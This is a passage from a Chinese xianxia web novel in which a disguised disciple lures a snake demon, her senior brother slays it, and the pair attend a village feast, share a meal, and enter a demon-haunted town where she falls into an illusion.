心,而是她震惊这厮竟如此厚颜无耻,他曾欺凌过那么多无辜女子,竟还说自己存有元阳?!柳观春:“夫君不是娶过妻了吗?”蛇妖一脸嫌弃地看她:“蛇有二处孽根,我平时同人行房都只用其中一个,另一处独你享用,不好吗?如此怎么不算元阳尚在?况且从前与我成婚的女子各个都很受用,你也会喜欢的。”在蛇妖恬不知耻说出这些话的时候,柳观春已经下意识捂住纸鹤,防止江暮雪听到这些了。如此污言秽语,不堪入耳,简直辱没师兄的清净道心。但很显然,师兄应该已经听得一清二楚,因为那只纸鹤渐渐凝霜成冰,冻得柳观春掌心生寒。柳观春实在煎熬,坐立难安。好在没过多久,蛇妖便带她出了洞穴。没等蛇妖寻到江暮雪,顷刻间,他的脚下亮起寒意浓郁的法阵。剑光大作,流霜漫天。修士的剑气浩瀚如海,竟使得妖气浓郁的血月返璞归真,又变成一轮普照大地的皎洁银月。月华普照大地,驱散蛇妖遮天蔽日的盛大妖气。蛇妖切齿,有人在这里布下捕妖阵法!其灵力之强大,居然让蛇妖有一种神魂俱灭的恐惧感。蛇妖好歹也有几百年道行,又有魔尊的妖气辅助,他不至于被寻常的修士困住……除非、除非来的这位师兄,是元婴期的大能!在此世界,修士引气入体,筑基灵台,结丹结婴后,便是高境界的剑尊,自此再行修炼,便能达到大成真神境界,也就是飞升上界。金丹修士,蛇妖对付过,他们便是造阵,也决不会如眼下这个阵法这般纯粹……难道此人境界比金丹还要高深?不可能啊,世上有几个结婴的修士?便是各大仙宗,也无非是寥寥几位长老和掌门方能触及结婴境,印象中,如此年轻修士结婴,蛇妖也只听过那位天生剑骨的玄剑宗弟子。难道、难道。蛇妖瞪大眼睛,显出妖相:“你是江……”"没等他将那个名字说出口,一道锋锐的剑光便破空而来,直接刺碎他的咽喉。蛇妖捂住喉咙,痛苦地挣扎。趁此机会,柳观春猛踹他胸口一脚,连滚带爬地朝远处跑去。前方的光亮处,立着数十把受灵气驱使的光剑。长剑围拥的中心,隐隐有一个高大的男人身影。柳观春知道,那是白衣师兄。她得救了!"师兄!师兄!我在这里!"柳观春的灵台还被鬼咒封住,竹骨剑在她手中不过废铜烂铁,她无法运剑逃脱。可是蛇妖即便濒死也没有松开她的脚踝,触手一寸寸缩紧,意图将柳观春拖回法阵,与她同归于尽。柳观春急得满头大汗,但她的皮肉已经被蛇鳞刮擦,骨血溢出。满地都是蜿蜒崎岖的红色,瞧着触目惊心柳观春最擅忍疼,她决不能被蛇妖拖回去!和妖邪死在一起,还死得这么难看,真是太可笑了!“绝对不要!”就在这千钧一发之际,柳观春爆出一股蛮力,她举起竹骨剑,用力往自己的脚骨砍去!即便要自伤,她也要割开蛇妖的尾骨。她会活下去,她绝对不能死。哐当一声,薄刃出鞘。刀剑相击的响动震耳发聩,两刃相接,竟流泻一地火花柳观春的竹骨剑没能砍中小腿,在她挥剑的一瞬间,另一把凝霜的长剑当空格挡,阻止她自.残。顷刻间,一道灭魄灵符随之飞出,紧紧缚上蛇妖的长尾。符篆加身,符文涌动,罡风四起,草木摧折。蛇妖像是触碰到什么凶残的恶物,倏忽发出惨烈的尖叫,他见鬼似的蜷缩,巴不得快点窜逃。柳观春的腿没了妖物的桎梏,她劫后余生,急忙往前爬了几步。蛇尾已经不见踪迹,柳观春惊魂未定,腿骨发抖。她凝神看去,双腿完好无损,只是留下几圈难看的、血肉模糊的伤疤。她没有缺胳膊少腿,她活下来了。柳观春庆幸地笑了下,胸口剧烈起伏,她还在喘气。随后,她看到远处的剑阵迅速收网,将那一只凶残的大妖紧密包裹。剑气幻化的光网收缩,剑气千丝万缕,越绞越紧,竟如钢刀一般逼向蛇妖,将他凌迟,碎成一团肉糜。此为最高境界的灭妖阵,手法残酷,毫不留情。红莲业火霎时焚起,蛇妖罪孽深重,他被业火焚烧肌骨,最终灰飞烟灭,只浮出一颗金色的魔核。柳观春将魔核握在掌心,久久无言。柳观春知道师兄来了,她回头望去。月华流泻,雪枝素洁。密林之中,男人渐行渐近。素衣翩翩,乌发飞扬,一双凤眸寒若秋池,手中并无执剑,可一言一行都剑势凛然,压迫感十足。这是战意浓郁的师兄,他还没来得及收起杀气。柳观春怔住。她看到师兄白衣如雪,可自己身上的嫁衣早在逃跑途中破损不堪,就连绣鞋都弄丢了,实在太狼狈了。柳观春不想成为师兄的累赘,她咬着牙爬起来。她想做给师兄看,她没那么娇气、没那么弱小,她在变强,她不会拖累师兄。可是,脚上皮肉被剜去一块,血流如注,实在疼得厉害。柳观春鼻翼生汗,才能堪堪忍住泪意。她努力扬唇,对师兄一笑,示意自己安然无恙,一点事都没有。可是,这一幕落在江暮雪的眼中,却十分古怪。若非他出手迅速,柳观春为了逃生竟真会斩断自己的足踝……她大可依赖师兄,大可再等一等。何必坚强到这一步?江暮雪不懂。他听到自己沉声唤了一句:"师妹。"柳观春听到这一句亲昵的呼唤,隐隐有种熟悉感,涌上心头。不知为何,她忽然眼睛发酸,鼻尖刺痛。她抹去眼泪,莫名又朝着师兄伸出手。她只是想让师兄拉她一把,因为她腿太疼,站不起来了。可没等柳观春开口,她竟看到江师兄屈膝,倾向自己。素白的衣袖环上柳观春的膝弯,修长的手指抵在她的后腰。江暮雪将她横抱进怀中,稳稳地困在臂弯。柳观春被人抱起,她呆呆地看着这一幕,不知该说什么好。柳观春嗅到一股很香很香的雪气,她看到自己褪去罗袜的足尖淌下血迹,一滴又一滴,凝在师兄的白袍上。红得刺目,红得炽烈。柳观春的指骨攥了又松,松了又攥,无所适从,手足无措。她把江师兄……弄脏了。可江暮雪,好像不嫌弃?江暮雪抱她御剑,许是见她衣衫单薄,他又幻出那一层光茧,稳稳护住怀中的少女。柳观春不受风雪侵扰,她缓和了半天,总算透过气了。少女摊开手掌,把那一颗含着蛇妖内丹的魔核递给江暮雪看。"师兄,今日猎杀蛇妖,是我假扮新娘乔装入洞,迷惑蛇妖。我出了大功,这枚魔核归我,你没有意见吧?至于狐妖那颗,我受之有愧,还是留给师兄。"柳观春想得很好,她不能独占江暮雪的战利品,但她也不是什么都让出去的傻子,她只留自己该拿的那部分。柳观春一双杏眼滴溜溜地转,还在小心翼翼打量江暮雪,等待他的答案。“好。”江暮雪没有迟疑。柳观春松了一口气,她第一次凭自己的努力拿到魔核,心里高兴,上翘的嘴角怎么都压不住。柳观春那点窃喜,江暮雪一览无余。男人沉眉垂眼,良久无言。柳观春不过是个年轻青涩的女孩,她本该如此骄纵明媚,而不是像方才那样……斩断自己一只脚都满不在乎。 18、下山(八)... 第十八章 柳观春并不觉得江师兄的关照有什么僭越的地方。 他是不通情窍的无情道剑君,待柳观春,与待那些男弟子没什么区别,毕竟就连冷酷无情如江暮雪,都曾将受伤的弟子扛回山门……如今白衣师兄这样抱她,只是体恤她腿骨受伤而已。柳观春道:“师兄,我们回镇子吧?顺道告诉老伯一句,蛇妖已除,他们不必成日提心吊胆了。” 柳观春怕的是,如果她没有事先说一句,很可能有心术不正的人会利用蛇妖的邪说,继续证骗百姓,拐走女子。 送佛送到西,因果得去了结一下。 江暮雪无异议。 他看了一眼早已干涸的的血迹,“我带你去疗伤。” “多谢师兄。”柳观春从水晶珠里摸出一匣子配好的药膏,“我早有准备。” 江暮雪五感敏锐,他从药膏外溢的气味分辨出,里面含有白羊叶、杜月花,都是一些廉价的止血草药,能镇痛,但愈伤效果不算好。 江暮雪想了想,动用灵识翻出一枚丹药,以剑气推到柳观春唇边柳观春还在说话,樱唇微张,舌尖不慎尝到一点甜。没等她反应过来,一颗糖豆似的仙丹已经钻进她的口中。柳观春咔嚓两声咬碎了。好吃的,很甜。 没一会儿,一股疗伤的灵流便沿着她的四肢百骸扩散,腿上的疼痛一下子弱化了,腿上还浮起一层伤势渐愈的痒意。 柳观春惊喜:“师兄,你的仙丹好有效!” 说完,她又小声问:“肯定很贵吧?我身上还有二十颗灵石,不知道够不够?要不我给师兄打个欠条,回宗后我再尽力还你,不好让师兄破费…….” 柳观春囊中羞涩,她很感激师兄会把丹药送给她服用,但人情价太重,柳观春一时半会儿也还不清。 其实江暮雪本想用灵力帮她疗伤,但他想到柳观春体内还有那个不知名的灵根霸占着灵域。 倘若江暮雪强行入体,恐怕会引起髓海动荡,害得刚除去鬼咒的柳观春灵基涣散,她会再吃苦头。 还是算了。 江暮雪挪开目光,望向远处的村落,“不必还我,不过是些炼药课制出的低价丹药。” 师兄说得轻描淡写,但柳观春知道,他能制作出这样效用高的丹药,可见炼药者天赋异禀。 即便是同样的时辰、同样的药材,由不同的人炼丹,成品品也会二致。这也是不少专研炼药弟子都会打出自己的招牌,以图日后成为炼药大能,让丹药价格变高,获利更多。 不管怎么说,她还是占了便宜,柳观春把这件事记在心里,等日后有机会,她再报答师兄。 很快,伏雪剑贴近地面,抵达目的地。 柳观春捏了捏腿,发现没有痛感以后,她从江暮雪的怀中跳出去。 深更半夜,那位老大爷和乡亲们都没睡,他们守在镇口,东张西望,盼着柳观春和江暮雪能平安回来。 待看到了他们,老大爷高兴地喊了一声:“剑君,你们回来了!” 话音刚落,镇民们人头攒动,他们发出欢快的呼喊,夹道相迎。 柳观春看着人们高兴的笑脸,她也心里欢喜,连声说:“蛇妖已除,诸位不必再害怕了。今晚我与师兄回到镇子,也只是想将此事告知诸位,顺道留宿一夜。明日清早,我们还有其他的任务在身,就不在镇子上叨扰诸位了。" 听到两位剑君要走,镇长忙挤出人群,拉着柳观春劝道:“剑君们还有要事在身,我们不便阻拦。可你们为镇子降妖除魔,此为大功一件。镇子里早就准备了除妖的庆功宴,专为两位践行,还望剑君们赏脸,再多留一天,吃杯水酒再走。" 道君和沙门和尚不同,吃肉喝酒都没有忌讳,也是因此镇长才敢邀请柳观春喝酒。 镇民们盛情难却,柳观春拿不定主意,抬头望向江师兄。 许是少女的目光殷切,江暮雪察觉到了,他低声道:"可。" 江暮雪赏脸,镇民们顿时兴奋不已。 第二天下午,镇民们清出待客的大宅,将两位剑君奉为上宾,清茶点心供着,其他人则搬桌椅、堆砌灶台、架上锅子,又取刀去割猪肉。 做菜的跑山猪早在昨夜就备好了。 一般杀猪都是凌晨时分进行,一个是烫猪肉、分肉麻烦,耗时太久,得早早备好;另一个是杀生不算好事,不能青天白日让神明看着。 柳观春不知无情道剑君有没有茹素的规矩,"师兄,你吃肉吗?能喝酒吗?" 江暮雪垂眸想了想,道:"并无忌讳……只是我鲜少饮酒。" 江暮雪不喜欢醉酒的感觉,记忆中他唯一饮酒的一次,是初进宗门的那一晚。 他舍弃前尘入道,心中有一瞬茫然与困惑。 听说酒水能够让人忘记痛苦,还能帮人壮胆。 他饮下三碗,但除了脾胃烧灼,头昏脑涨,没有旁的功效。 后来,江暮雪再没有喝过酒。 筵席很快布置好,除了江暮雪和柳观春落座,还有其他镇子里有头脸的富商,或是乡亲入席。 镇民们虽然热情,但江暮雪冷着一张脸,也没人敢给他夹菜,只殷勤地给柳观春介绍:“剑君尝尝这个,是刚挖来的冬笋,可新鲜,吃起来一点都不涩口。”说着又大着胆子给江暮雪盛了一碗鸡汤,“剑君,还有那个鸡汤,多喝 些,熬了一个时辰呢,厨子特地加了山上的鸡头参。老话说,这个可以益气补肾来着.”柳观春一口汤差点咳出去。 乡亲们也意识到自己说错话了,修道之人,灵台清净,哪里会好那些男女之事啊? 他们平时聊天荤素不忌,什么补吃什么,怎敢拿这话来劝剑君们进食…… 说完,众人纷纷放下筷子,胆战心惊地觑一眼江暮雪。 幸好,这位剑君的脸色虽冷,但也没有露出嫌恶的表情。 甚至看大家都不敢动筷子,他还主动端起鸡汤小抿一口。 众人明白,这是不介意的意思,一时间镇民们把心放回肚子里,继续吃吃喝喝说说笑笑。 柳观春很重口腹之欲,今日菜好酒好,她不免吃多了一些,特别是她耳根子软,旁人劝一劝,她就真的尝了几口那些农家酿的米酒。 乡亲们对于剑君多有敬重,听到柳观春竟夸王家的米酒好,周家又不乐意了,也回家启开酒坛封盖,把酒端来给柳观春品鉴。 白的米酒,红的果子酒,绿的绿蚁漉酒,每个都喝上一小盏,柳观春自然而然就喝高了。 但柳观春喝醉酒也很有酒品,她不打人不发疯,只闷头吃菜,说话有点痴。 之前搜蛇妖记忆的时候,江暮雪觉察出蛇妖的修为暴涨,其实有旁的大魔协助,大魔将自己的魔气渡进蛇妖身体,才让蛇妖如此难杀。 此妖的源头,便是百里外的莲花镇。 江暮雪将此事同柳观春说了。 可一贯聒噪话多的柳观春听了,只是闷闷点头,嗯了两声。 江暮雪心生疑窦,不免看她一眼。 女孩显然醉得不轻,脸颊透出驼色的红晕,眼尾被酒气熏出水雾,一双杏眸虽明亮,但没有聚焦在任何一处,看着涣散无神,只呆呆地盯着 碟早已清盘的猪蹄膀。江暮雪见她吃醉了,也不再多说什么。 镇民们吃完酒宴,已是深夜,除了江暮雪所在的那一桌,其他桌椅早已撤下,灶房传出镇民们洗碗筷、笑闹打趣的声音。 院子里仅剩下江暮雪和柳观春,一侧的屋檐挂着一盏照明的灯笼,火光暗淡,散着黄澄澄的幽光,光线昏暗,不足以照亮偌大的院子。一阵夜风吹来,卷起几片檐上的霜花。 因是隆冬天里,山风湿冷,柳观春瑟缩一下,她脑袋昏沉,不由偏头望向一旁。她看到了江师兄的脸。 灼灼一点红痣,像燃烧的欲火,一双凤眸内敛,眼尾轻扬,带些清雅高华。莫名的,这张脸变了样,渐渐和记忆里那个名叫“江暮雪”的男人重合。柳观春傻傻地看着,她直觉知道眼前的人不是江暮雪,可她还是有一瞬惊讶。她脑袋好疼,分不清楚。她把江瑜认成了江暮雪。柳观春下意识屈拳,想敲一敲头,保持清醒。没等她出手,冰冷的手骨就挟制住了少女的动作。 风雪欲来,那股裹挟着剑气的寒意瞬间侵入肌理,柳观春觉得腕骨好冷,她用力挣了挣,可此举无疑是此蜉撼树,她完全抽不开手。 柳观春没了力气,丧气地垂头。 直到一道沉寂的声音传来。 “不要自伤。” 柳观春听出一种难言的熟稔,她的鼻子有点酸,眼睛也很烫,她抬头去端详江师兄。 好奇怪,怎么看都是江暮雪啊。 大师兄怎么来了? 柳观春想不明白,她只能小声说:“我没想打自己,只是头疼。” 说完,她又像个孩子一样,想和江暮雪诉苦:“师兄,我腿上受伤了,很疼。” 她下意识去拉盖住腿骨的衣裙,想要解开罗袜,让江暮雪看伤。 幻境里的时候,只要她说哪里疼,手上哪里被草叶割伤,江暮雪就会很温柔地帮她疗伤。师兄的灵气丰沛强大,只要给她渡一点灵流,她的伤痕马上就好了。 又怎会像今天这样,吃了丹药,偶尔还会隐隐作痛。 江暮雪并不知道柳观春在和谁撒娇,她嘴上喊着“师兄”,他只当是女孩喝醉酒身体不适,所以心里委屈,难免娇气一些。 江暮雪叹口气,用剑气死死压住柳观春拉裙子的手。 他没有哄人的经验,也不知该怎么给柳观春解酒,偏偏灵气也控制不了一个人非要喝醉。 想到这里,江暮雪只能隔空传音,让厨房里的乡亲帮忙煮一碗解酒汤来。 很快,热腾腾的汤碗端上来。 江暮雪将其挪到柳观春面前:"喝了。" 柳观春倔强地盯着他,一动不动。 江暮雪思考一番,疑心是不是自己的声音太冷肃,吓到师妹了。 于是,他放缓了嗓音,又低柔地劝一句:"喝了这个.…头便不疼了。" 柳观春乖巧听话,她果真捧起碗喝了。 江暮雪松一口气。 但江暮雪还是低估柳观春了,她连喝个解酒汤也不老实,一边喝,一边还要拿眼去瞟江暮雪。 少女的眼神肆意而无辜,不止看江暮雪的脸,还要看他嶙峋的喉结,看他被白衣遮蔽的胸膛,甚至是用细带紧紧勒住的窄腰。 目光黏连在江暮雪的身上,从上至下逡巡。 江暮雪从未被人这样冒犯过,心中略有不满,但他不能和一个醉鬼计较。 男人的指尖轻敲桌面,他在考虑是否用灵力幻化出屏障,借以蒙住柳观春肆无忌惮的眼……反正她还没结丹,生不出可以窥探外物的神识,只要蒙住肉眼就足够遮蔽她的五感。可江暮雪后知后觉意识到,这是在作恶。 他无权……摆布师妹。恶念熄灭,江暮雪垂下浓长乌睫。可下一刻,柳观春放好喝完的汤碗后,又开始作怪。她忽然将掌根抵上江暮雪的膝骨,整个人朝他倾来。柳观春屈起纤细的腰肢,头低下时,后颈的碎发被灯笼暖光照得绒绒的,骨珠微微突起。她并不重,半个身子压在江暮雪的腿骨,也并不会教他吃力。乌黑的脑袋登时靠近,女孩身上的酒气与衣袖的花香也随之逸出。 江暮雪不知该如何搡开她。 江暮雪第一次被人如此冒犯,他该恼怒的,但他劝自己,只是小孩子无聊的醉相,何必生气。 但好在,柳观春没有更近一步的动作。 柳观春又闻到了幻境里的那种味道,清新如雨后晨露,还带点苦涩的雪松味,很香很香。 是江暮雪的味道。 柳观春缓和了一下呼吸,她抬起那张秾丽的脸。卷翘的眼睫像是小扇子一般扑闪扑闪,她大胆凝视江暮雪,怔忪地道:“师兄,有一件事,我想问你很久了“嗯?”江暮雪明知醉鬼的荒唐,可看着师妹虚心请教,又不忍扫她兴致。柳观春眨了眨有点干涩的眼睛,她问:"师兄………是公狗腰吗?"这是柳观春每次在幻境里想问,又不敢问的事。江暮雪的腰力惊人,肌理明晰结实,应该就是传说中的公狗腰吧?她光说还不够,还要拧着眉头,轻轻戳一下江暮雪的窄腰。 江暮雪怔住,呼吸一紧。 没等女孩柔软的指尖刚碰上江暮雪的身体,下一刻,柳观春就被一道强大的冰雪灵气击开。 她冷不防跌下板凳,摔疼了屁股。 柳观春呆坐原地。 而江暮雪不知何时,已经站起身。男人英英玉立,仙姿玉质,只一张脸寒沉,眉心的守元印绽出红光,手中的伏雪剑隐隐有出鞘之意。 许是被灵气震慑,又许是那碗解酒汤确实功效明显。 柳观春的意识逐渐回拢,她看清了眼前的人。 眼前的师兄是江瑜,并非江暮雪! 柳观春吓得脸色苍白,连连道歉:“师兄,对不住,我把你认成了旁人,我不是有意冒犯你。” 此言一出,江暮雪本该安心。 可他记起,柳观春方才口中唤的也是“师兄”,如此轻薄孟浪之举,她竟也对其他男弟子做过? 江暮雪不知该说些什么好,但他觉得自己什么都不该做、什么都不该说。 此为柳观春的私事,与他何干.………他们不过是结伴降魔的队友罢了。 江暮雪冷静了,他收敛那些外泄的雪气,嗓音一如既往的淡漠。 “无事,既已醒酒,那师妹便早些休息吧。” 19、下山(九)... 第十九章 一整夜,柳观春辗转反侧,没有睡好。 她自己都不知,原来喝醉酒的时候,她第一个想起的人会是江暮雪。 特别是她认错无情道剑君眉心的那颗守元印,竟把白衣师兄当成了江暮雪。 仔细想想,近日她确实太过肆无忌惮了,她根本不知该如何和一个男修保持距离,根本不知什么样的行径才是不过于唐突和冒犯。 柳观春也了解自己,她顺杆上爬,对江师兄表示亲近,其实只是因为她害怕这段关系不够牢固,她总想加码上锁,她想困住江师兄。 因为她………太孤独了。 柳观春叹一口气,她想到茕茕子立的无情道剑君,心想:江师兄性情冷淡话少,其实他不喜欢被人亲近。 江师兄待柳观春友善,不过是在忍耐。 她不该让江师兄为难。 翌日,饶是江暮雪这般漠视世间万物,他也发现了柳观春近日的失常。 柳观春不再一睡醒就来他的房间敲门,不再从她那个塞满吃食与牛乳的藏宝珠里,取出肉干还有奶茶,与师兄分食。 每日赶路,不必江暮雪幻化出伏雪剑捎带她,小姑娘会自己乖乖巧巧地召出竹骨剑,凝神观察四方,然后御剑飞行,牢牢跟在江暮雪身后。 柳观春将自己的起居照顾得很好,好到……不再需要江暮雪从旁照看。 江暮雪收回目光,继续跟着舆图指点的方向,前往莲花镇。 倒是伏雪剑心里有点不满,他的剑吟在灵域里不住翻滚,大声抱怨:那把竹骨剑是你老相好不?我记得这小子!能力没多少,惑主倒很有一手,你都不用它了,还死赖在灵域里不走。这下可好,先去勾搭女主子了……不是我说,它那点瘦身板,有我御着舒服吗?有我会疼人吗?我还能召出剑罩挡风呢,瞧它把小娃娃脸都吹红了……. 没等伏雪剑说完,一道哑咒口诀狠狠打来,一下子封住了本命剑的口。 伏雪剑气得颤动两下,但它到底害怕江暮雪的威压,也怕他移情别恋重新去剑冢找其他本命剑,只能硬生生咽下这口气。 柳观春倒是不知江暮雪的心思,她见师兄神色如常,脸上也没有浮起厉色,心中还有点小得意,觉得自己十足聪慧,实在是很擅长揣摩人心。 他们御剑飞行的速度很快,不过两日时间就抵达莲花镇附近。 只是天色已晚,夜里的魑魅鬼魍魉没有日光制衡,实力会大增,饶是修为高深如江暮雪,也不会在深夜冒险入魔巢。 思来想去,江暮雪决定就地休整一夜,明日清晨再进城伏魔。 冬天黑得早,没多时,远处的翠璋峰峦都披上一层浓重的夜雾。柳观春看了一下计时罗盘,才戌时,距离明早鸡鸣时分,还要四五个时辰。 入道之后唯一的好处是,柳观春补觉两三个时辰就足够清醒,无需像做凡人的时候那样,每天至少要睡上八个小时。 漫漫长夜,有点难熬。 柳观春看一眼打坐调息、沉入灵域境界修行的师兄,又默默收回竹骨剑,她觉得这时候找江师兄比试打发时间,不是个好主意。 没事做,柳观春只能捣鼓藏宝珠里带来的东西。 她取出妖域的红矿石,画了金木水火土五行五符,补充一下库存。然后又清点法阵的咒术,将那些阵法的咒语默背一遍。比起剑术的提升,柳观春更擅长在杀妖之战中,借助这些符篆和阵法取得战役的胜利。柳观春习惯一日三餐按点吃饭,即便不饿,她也没有忘记凡人的习惯。 她看一眼还在闭目养神的江暮雪。 师兄眉眼清正疏冷,一袭白衣白冠,如月中聚雪,皎洁美丽。 江暮雪丰神俊貌,一身神相,单是看他通体清逸气质,就知他定是绝食五谷的世外高人,只要吸风饮露就能维持温饱。 柳观春知道江暮雪已经辟谷,她不想再被师兄讨厌,因此这次,她没有强行邀请师兄作陪。 柳观春准备做饭,垫一垫肚子。她翻动藏宝珠,从里面摸出一袋干莲子,这是柳观春夏天的时候特意跑去灵池掰的莲蓬。 随后,她又摸出一大包桂圆肉,这是柳观春之前上符咒课的时候,在学堂外意外发现的一棵野桂圆树。 宗门弟子大多不爱采摘野果,正好便宜了她。 柳观春住的弟子院最为偏颇破旧,除了她,没有旁人居住。因此柳观春没什么可以串门的师兄姐。 但好处是,院子破归破,庭院真的很大,拿扫帚清理出一片空地,柳观春就可以把那些莲子、青梅、桂圆,架在竹筐里晾晒。只要她想,甚至还能晒一些萝卜丁和菜干。 柳观春就像囤食的仓鼠,想到这些家底,她心里就高兴。 不得不说,江师兄送的储物珠真的很好用,柳观春不仅仅在珠子里藏了吃食,就连烧饭的锅子她都带来了。 她使尽吃奶的力气,把那一个大锅还有陶瓮从宝珠里取出来。 接着,柳观春挖土堆砌灶台,往灶洞里塞满柴薪又燃起火符,甚至取风符与山风对冲,将风势转到旁处,如此就能调转风向,护住她灶膛里的火焰不灭。柳观春今日想蒸八宝饭吃,她在陶瓮的底部涂抹了一圈白花花的猪油,又取来干莲子、红豆沙、晒干的桂圆荔枝,逐一码放进陶瓮。每铺上一层糯米,她还要往里头塞点板栗,这样蒸出来的饭就不会太黏,而且板栗沙沙的,口感像是成蛋黄,等板栗软烂,再一起拌进饭里,八宝饭会变得更加蓬松香甜。柳观春朋友不多,平时又没事做,空闲时间要么拿来练剑、背心诀剑谱,要么就是研究做饭,让自己的日子过得更舒适一点。老话说:“人是铁饭是钢,一顿不吃饿得慌”,她很老实遵从先贤的教诲,至少要天天吃饭,把小身板养得壮实一点。柳观春忙活晚饭也能自得其乐,殊不知身后的江暮雪已经被她锅里飘出的那股甜味熏醒。 江暮雪五感敏锐,平时在绝情崖修炼,天地间唯有清净的雪气,哪里像现在一样,不止是烟火、还有甜果的香味。 他不反感,但实在有些吵闹。 江暮雪无法进入忘我境界,他睁开眼,于暗处凝视柳观春。 若是从前,每到饭点,柳观春都会来问江暮雪要吃些什么、喝些什么,偏偏这两天古怪,她竟对他再无所求了。 江暮雪蹙眉,他不解柳观春为何忽然疏远……是他那日宴席上出剑太快,伤到她了? 晚饭煮好了,柳观春下意识盛好两碗甜津津的八宝饭。 她盯着饭碗,呆了呆,又想起江师兄已经辟谷,应该不会吃。 柳观春颇有些失落,端起那碗多出来的饭,作势要往陶瓮里倒,可没等她把饭倒回去,一只骨相清棱的手已经伸至女孩的眼底,接过了碗筷。 男人的手骨泛凉,冷若冰霜。柳观春不慎触碰到他的指腹,被冻得一个激灵。 柳观春看到江暮雪主动端饭,惊讶得不知说什么好,她结结巴巴地问:“师、师兄,你吃饭吗?” 江暮雪顿了顿,垂下浓长雪睫,“许久没吃过……可以一试。” 柳观春大喜过望,她是第一次有人陪着吃饭。 一时之间,她都忘记自己先前还决定和江师兄保持距离,不要再烦他。 柳观春高兴地打开藏宝珠,把自己腌的酱菜、萝卜、黄瓜坛子,全端了出来。 菜品琳琅满目,光是“微辣”、“巨辣”的酱菜都分了十多种,更别说另外几样瓜果了。 柳观春偷偷觑了江暮雪一眼,见他面上风平浪静,想来是没有生气,于是她壮着胆子给江暮雪介绍:“师兄要是嫌饭太甜,可以佐着酱菜吃。” 她摆动几个小碟子,细声细气地介绍:“这是萝卜条,这是黄瓜条,要是吃得惯妖域里的鼠芋条,你也尝尝看…… 江暮雪低眉看了一眼那一坛乌漆漆的罐子,“什么是鼠芋?” 柳观春轻咳一声:“这是我自己命名的吃食。我以前住过妖域,那里生着许多叫不上名的奇珍异草,我没见过,又怕有毒,不敢随便摘菜吃。” "为了填饱肚子,我就去看妖域里的动物都吃些什么。有一种专门偷吃瓜果的鼠精爱吃这个,我也偷偷挖来尝了一口,滋味果然不错,因此我就给它起名鼠芋。" 像是怕江暮雪笑话,柳观春又一本正经地举起小坛子,郑重其事地说:“口感真的很像芋子…….” 柳观春杏眸明亮,神情专注,推荐吃食的时候,还会低头去摆弄自己拿出的瓶并瓶瓦缶罐罐。 女孩双环髻上的红色丝绦随风摇曳,穗子沿着她低下的白皙脖颈垂下来,悬在圆润的耳珠旁边,像是一双赤色的耳铛,浓烈的一抹红,极为灵动可爱。 柳观春很喜欢聊天,她伶牙俐齿,不管多么离谱的东西,她都能说个子丑寅卯来。 江暮雪没有说话,但他很捧场地夹了一根鼠芋,细细品尝。 柳观春见他吃了,更是惊喜,一双黑葡萄似的大眼睛一眨不眨盯着江暮雪,等他的评价。 小姑娘的心思太好猜了,江暮雪既然都捧场作陪,自是不会扫她兴致。 江暮雪迟疑一会儿,点头:“的确很像。” “是吧?”柳观春眼中的笑意更深,她仿佛遇到知己,又殷勤地夹出其他菜肴供江暮雪品尝。 短短一刻钟,江暮雪就吃了十多样菜。 江暮雪并不重口腹之欲,他吃完一小碗八宝饭后,没有再添食。 柳观春见好就收,也不敢再劝。 她终于理解那些老人家一直劝食的心情了,江师兄看起来高大清耀,就应该多吃饭啊。虽然他的指骨削瘦细长,很合适持剑,再丰腴一点就没有那种潇洒俊逸之感了。柳观春本来想做一个矜持寡言的师妹,但这顿饭成功让她破功,柳观春又忍不住和江师兄闲话家常。 幸好,江暮雪并不嫌弃,甚至偶有回应,尽管他依旧沉静少言,大多时候也只是低低“嗯”上一声。 第二天早上,鸡鸣破晓,柳观春起床开始准备进入新的魔镇。 江师兄说了,莲花镇是附近妖物身上魔气的主要起源地,这里一定藏着旁人不知的大魔,一定要诸事小心。 柳观春把符篆卷进腰上挂着的荷包里,方便她随时拿取,除此之外,她还准备了降魔阵需要的五象之物,譬如塘泥、梧桐枝、圣灵水、三清金铃、火符。 柳观春不像江暮雪那样境界高深,可以通过锋锐剑意强行开阵。她必须用凡物辅助,方能制造出一个对战的阵法。 江暮雪见她准备得认真,有意提醒:“魔之所以比妖可怕,是因魔能侵蚀人的心志。” 柳观春一知半解,她虚心求教:“我从来没有接触过大魔,还请师兄不吝赐教。” 江暮雪:“魔物擅长制梦,塑造幻境,时常会将人心中的欲念、所求之物,化作虚幻蜃影,诱人沉沦幻阵之中,不愿回到现实。时间久了,修士的修为尽散,寿元受损,自此修士迷失在幻阵之中,直至陨落那 日的到来。" 柳观春明白了,照这样说,魔物比妖物可邪多了,一个还能真刀真枪对打,另一个就是造阵摄取人魂,能不能逃出生天,全凭人的运气。 柳观春问:“倘若我不慎入阵,该怎么破阵出来?” 江暮雪想了一会儿,简单解释给她听:“幻阵之中皆为虚妄,幻境之所以能诱人沉沦,那是因幻境能圆人心中遗憾,如丧了的妇人能在幻境中见到早夭的亲子,如丧夫的女子能见到病死的夫婿……”“幻境所见,皆是人心中所愿。若想破阵,那就不可贪恋幻境中的美满,只要幻境失常,你就能从幻境中逃脱。” 柳观春若有所思地点点头。 总之就是记住所有憾事,不要被假象诱骗。柳观春心中有数,她手持火符照路,亦步亦趋跟在江暮雪身后。莲花镇不愧是大魔盘踞之地,镇中人烟稀疏,妖气遮天蔽日,阳光根本照不进来,更别说滋养阳气了。 柳观春的的身体还是凡躯,不像江暮雪那样修炼多年,几乎百毒不侵。 她被瘴气影响,手中灵力凝出的火团渐弱。 正当柳观春再度往火符上吹一口灵气的时候,四周忽然极速变化。 江玢师兄、荒芜的城镇、妖气迷雾………统统不见了。 唯有一片无涯的雪地。 柳观春明白,她陷入幻境了。 柳观春觉得好冷,她浑身发冷,被风雪推着朝前走。 柳观春赤着脚,在漫天飘雪的草原上流浪。 当她看到熟悉的那一座草庐,她明白,这是大魔幻化出的幻境,是柳观春沉沦七年的迷魂梦阵。 柳观春有一瞬失神,她没想到自己居然陷进此地。 难道大魔认为,这里是柳观春最贪恋的地方? 柳观春心中默念白衣师兄教过的破阵之法,只要让梦阵失常,她就能出幻境。 即便这里再美好,她也不会被困在这里。 柳观春下定决心,她知道江暮雪一定就在这个“家”里。 在进入草庐之前,柳观春蹲在底下,接了一捧雪。 她用手指的温度融化这抓雪,然后借水面照脸。 大魔不知她记忆的内情,因此她的脸并没有幻化成唐婉的样子。 她是柳观春,是配不上剑骨奇才江暮雪的外门师妹,是与江暮雪云泥之别的低阶女修。 大师兄偏爱的人是唐婉。 如今,梦该醒了。 柳观春握紧手中的竹骨剑,这是白衣师兄给她的勇气。 她终于能从那场幻梦里爬出来了。 